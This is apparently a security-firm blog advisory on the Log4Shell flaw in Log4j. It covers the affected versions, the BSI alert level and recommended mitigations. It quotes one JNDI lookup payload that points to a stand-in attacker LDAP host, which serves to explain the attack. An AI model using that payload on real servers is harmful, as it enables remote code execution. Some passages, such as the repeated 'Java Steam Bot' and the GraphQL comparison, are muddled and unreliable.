Log4j - Critical Zero-Day Vulnerability in Logging Library

Vulnerability in Log4j Is a Threat to Apps and Servers

The Log4Shell zero-day vulnerability is considered highly security-critical. It allows attackers to execute arbitrary code in the widely used Java logging library. The core issue is that Log4j is extremely widespread -- even services like Amazon, Apple, Steam, and Twitter rely on it. These are only the most prominent names; experts believe that the vulnerability affects numerous smaller services as well.

Important: Administrators must take immediate action! The available proof-of-concept code demonstrates how attackers can exploit this Log4j zero-day vulnerability. The first attacks have already been reported.

The GraphQL case study also illustrates the urgency of responding to such zero-day attacks. According to the OWASP Top Ten, it exposes some of the most critical attack vectors for cybercriminals. The same applies to the PrintNightmare, which recently caused widespread concern across organizations. Both cases underscore that regular pentests and strong IT security practices are essential for businesses.

As with PrintNightmare or the GraphQL case study, attackers use manipulated requests for their purposes, sending them to a vulnerable server or application. In the case of Log4j, a specially crafted string then appears in the log. This causes the Java Steam Bot, for example, to load data from potentially malicious Java classes. Since the attacker controls the receiving server, they are able to hijack the target system in this way.

Due to the scope of the Log4j vulnerability, the German Federal Office for Information Security (BSI) has issued its highest warning level. A key reason is that the full extent of the problem remains unknown. With attackers actively exploiting the vulnerability, organizations face an urgent need to act.

How the BSI Assesses the Situation

The BSI has published a detailed statement on the dangerous Log4j vulnerability. In it, the federal agency warns of the consequences of an attack on the popular logging library. The vulnerability enables attackers to execute their own source code on the target system, ultimately compromising the affected server.

The proof-of-concept code is available on GitHub and was shared on Twitter under TWI2021. Additional examples further demonstrate how susceptible Log4j is to attacks. At the same time, scripts are available to scan your own log files for vulnerabilities. However, these do not provide complete protection and should under no circumstances replace regular pentests -- only thorough security measures help close vulnerabilities on a lasting basis.

According to the BSI, a critical factor is that the Log4j issue could extend across the entire Internet: once Java applications are accessible online and log parts of user requests via Log4j, those programs are potentially at risk as well.

Which Log4j Versions Are Affected by the Vulnerability

The vulnerability affects versions 2.0-beta9 through 2.14.1 inclusive. With the newly released version 2.15.0, the Apache project has addressed the issue. Updating to the latest version eliminates the immediate threat. In addition, the Apache developers have published mitigation measures that resolve the problem without requiring a version update. These adjustments primarily concern the lookups.

It has since become clear that the 2.x versions are not the only ones affected. Version 1 can also be exploited for such attacks under certain conditions. If you still rely on this version, you must take action immediately. Since version 1 has reached end-of-life and is no longer officially maintained, no security update is forthcoming.

Description of the Attack with Steps to Fix

The vulnerability stems from how the Log4j processor handles log messages. If an attacker sends a specially crafted message containing a string like ${jndi:ldap://rogueldapserver.com/a}, this can trigger the loading and execution of an external code class -- a scenario known as Remote Code Execution (RCE). The following diagram illustrates the attack and recommended countermeasures.

Source - Computer Emergency Response Team (GovCERT) of the Swiss government.

The Zero-Day Vulnerability Already Has a CVE Number

Given the critical situation and the potential for widespread damage, the zero-day vulnerability has been assigned a CVE number: CVE-2021-44228. Its risk rating is critical, as numerous services and applications depend on the library.

The BSI Assigns the Log4j Vulnerability Level 4/Red

Since numerous Java-based applications rely on Log4j, exploitation of this vulnerability is highly likely. At the same time, patch management for these applications is far from trivial. It is therefore essential to implement short-term mitigation measures until a complete update becomes available.

The BSI's decision to declare Level 4 underscores the severity of the situation. Even systems configured in accordance with baseline protection standards are not fully immune to attack. Should a direct attack fail, additional attack vectors remain available to adversaries. The complexity of individual systems represents the greatest obstacle for organizations seeking to improve their security posture -- even when the budget for web security is substantial.

According to the BSI, the threat landscape is particularly acute in the areas of applications and business processes. Although widespread scans are being conducted, systems and applications remain vulnerable to subsequent infections due to missing patches and insufficient response and detection capabilities within IT sectors.

The Full Extent of the Log4j Vulnerability Remains Unknown

The particularly dangerous aspect of the Log4j issue -- also known as Log4Shell -- is that it does not only affect isolated applications. In fact, a large proportion of servers on the Internet could be impacted by this vulnerability.

This means the problem extends well beyond individual servers: any Internet-facing application that logs user requests via Log4j is potentially at risk. Among others, the special electronic lawyer mailbox (BeA) is affected. The same applies to the Java Steam Bot. Organizations using this technology in their applications should act as quickly as possible.

The BSI Recommends the Following Measures

The BSI emphasizes the importance of reducing the attack surface of vulnerable systems as quickly as possible. Notably, reloading malicious code is not required to exploit the vulnerability -- a single request is sufficient to give attackers a foothold. The BSI recommends the following measures in particular:

• Shut down systems that are not strictly necessary on a temporary basis. Additionally, block any connections that are not urgently required.
• Run anomaly detection on the host. In doing so, review the permissions assigned to affected services and reduce them to the minimum necessary.
• Subject all incoming and outgoing connections to comprehensive logging and monitoring. This makes it significantly easier to detect a compromise after the fact.
• Isolate connections to other systems. For systems that were patched after the vulnerability became public, conduct additional checks to determine whether they have already been compromised. This applies not only to systems directly connected to the Internet.
• Use web application firewalls, reverse proxies, and intrusion prevention systems to reject connections that exhibit attack patterns. Where possible, set HTTP headers to static values if they are not strictly required.